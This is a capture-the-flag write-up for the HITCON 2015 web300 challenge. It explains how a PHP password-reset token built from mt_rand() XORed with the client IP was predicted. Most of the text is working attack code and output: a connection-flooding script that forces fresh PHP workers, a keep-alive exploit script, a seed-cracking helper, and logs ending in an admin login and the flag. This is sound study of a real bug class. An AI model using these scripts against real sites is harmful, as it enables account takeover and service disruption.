For this challenge we had a webpage (+ sourcecode which I lost, so I can’t show it here) that allowed us to register and login, as well as requesting a resetcode for our account and verifying that code to get a new random password.

The flaw was the way the reset-code was generated (this is recapped from what I remember >.< ):

$ip = ip2long($_SERVER['REMOTE_ADDR'])
$token = mt_rand() ^ $ip

When registering an account the REMOTE_ADDR was saved as the mail-address for that account, and when requesting the token it was send to our IP on port 110 as the string token=$token

Now we can plan our attack:

  • Register a new account
  • Request a password reset for that account
  • XOR with our IP to get the actual mt_rand() value
  • Request a new token for the admin (we won’t get the actual token, but it is equal to the next mt_rand() call)
  • Feed to php_mt_seed
  • Use PHP with mt_srand($seed); mt_rand(); mt_rand() to generate the admin token
  • XOR with our IP, then send it as the reset token to obtain a new admin password
  • login as admin with that password

The server runs with apache’s mod_php, so we have to make sure that

  • We fuckup the server so it will have a fresh client, otherwise the mt_rand() values are random. When we get a fresh client the mersenne twister resets and we can use the seed
  • Stick to the same PHP process by using keep-alive’s

Using Amazons 10xlarge VM with 40 CPU’s allows about 350,000,000 seeds per second, better than my local machine ;-) But should work with a mid-sized CPU as well.

web300.php, helper script for mt_s?rand():

<?php
mt_srand($argv[1]);
echo 'Initial Key:' . mt_rand() . PHP_EOL;
echo 'Validate Key: ' . mt_rand() . PHP_EOL;
echo 'Admin Token: ' . mt_rand() . PHP_EOL;

web300_2.py, called initially to consume all open sessions, then our main-script is able to do it’s job:

from socket import socket
from time import sleep

def post(s, data, recv=True):
    data = '''POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: keep-alive
Host: 52.69.0.204

%s''' % (len(data), data)
    s.send(data)

s = socket()
s.connect(('52.69.0.204', 80))
post(s, '', False)
sleep(10)

Invoke this via: for i in $(seq 1 100); do python web300_2.py& ; done

Then, while running this, start our main script web_300.py:

from socket import socket, inet_aton from time import time, sleep from struct import unpack

# PHP's ip2long in python
def ip2long(ip):
    return unpack("!L", inet_aton(ip))[0]


# POST with keep-alive
def post(s, data, recv=True):
    print(data)
    data = '''POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: keep-alive
Host: 52.69.0.204

%s''' % (len(data), data)
    s.send(data)
    if recv:
        print(s.recv(1024))


u = 'ccm%s' % time()  # random username
myip = ip2long('10.20.30.40')  # my ip

# connect to challenge server
s = socket()
s.connect(('52.69.0.204', 80))

# create account
post(s, 'mode=register&username=%s&password=%s' % (u, u))

# reset our account to obtain initial mt_rand() value
post(s, 'mode=reset&username=%s' % u, False)

# start server to capture response
s2 = socket()
s2.bind(('0.0.0.0', 13110))  # locally natting from 110 -> 13110
s2.listen(1)
s2, addr = s2.accept()
token = int(s2.recv(1024)[6:])
s2.close()

token ^= myip  # get actual token
print(token)  # feed this to php_mt_seed tool
s.recv(1024)  # flush socket buffer

# reset again, since we can have multiple seeds for a given mt_rand value it's better
# to have another seed to validate our results with
post(s, 'mode=reset&username=%s' % u, False)
s2 = socket()
s2.bind(('0.0.0.0', 13110))
s2.listen(1)
s2, addr = s2.accept()
token = int(s2.recv(1024)[6:])
s2.close()
token ^= myip
print(token)
s.recv(1024)

# now pull the connection with keep-alives open, if the connection closes we can't do anything anymore
# hitting ctrl+c when we got our admin key allows us to continue
try:
    while True:
        sleep(4)
        post(s, 'mode=login', False)
        s.recv(1024)
except KeyboardInterrupt:
    pass


# reset admin token
post(s, 'mode=reset&username=admin')

# get token
token = int(input('admin token?'))

# get new admin password
post(s, 'mode=verify&token=%d' % token, True)

data = s.recv(1024)
pw = data[-16:]
print(pw)  # we got the pw

post(s, 'mode=login&username=admin&password=%s' % pw)  # get flag

Now our script run:

mode=register&username=ccm1445116143.41&password=ccm1445116143.41
HTTP/1.1 200 OK
Date: Sat, 17 Oct 2015 21:08:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Content-Length: 11
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

register ok
mode=reset&username=ccm1445116143.41
274721051
mode=reset&username=ccm1445116143.41
1516024477

keeping connection alive...
^C

admin token? 162649383
mode=verify&token=162649383
HTTP/1.1 200 OK
Date: Sat, 17 Oct 2015 21:08:55 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Content-Length: 0
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html


new password: gel4olf58uhvlrov
mode=login&username=admin&password=gel4olf58uhvlrov
HTTP/1.1 200 OK
Date: Sat, 17 Oct 2015 21:08:57 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Vary: Accept-Encoding
Content-Length: 82
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html

Congratulations, the flag is hitcon{howsgiraffesfeeling?no!youonlythinkofyourself}

Meanwhile on our EC2 server:

[[email protected] php_mt_seed-3.2]$ ./php_mt_seed 274721051
Found 0, trying 1140850688 - 1174405119, speed 307506923 seeds per second
seed = 1153153425
Found 1, trying 1543503872 - 1577058303, speed 307470890 seeds per second
seed = 1552042299
Found 2, trying 2583691264 - 2617245695, speed 308316379 seeds per second
seed = 2602372417
Found 3, trying 3657433088 - 3690987519, speed 308124101 seeds per second
seed = 3685446630
Found 4, trying 4261412864 - 4294967295, speed 308128189 seeds per second
Found 4

The first seed worked, here the output of web300.php:

php web300.php 1153153425
Initial Key:274721051
Validate Key: 1516024477
Admin Token: 162649383

ccm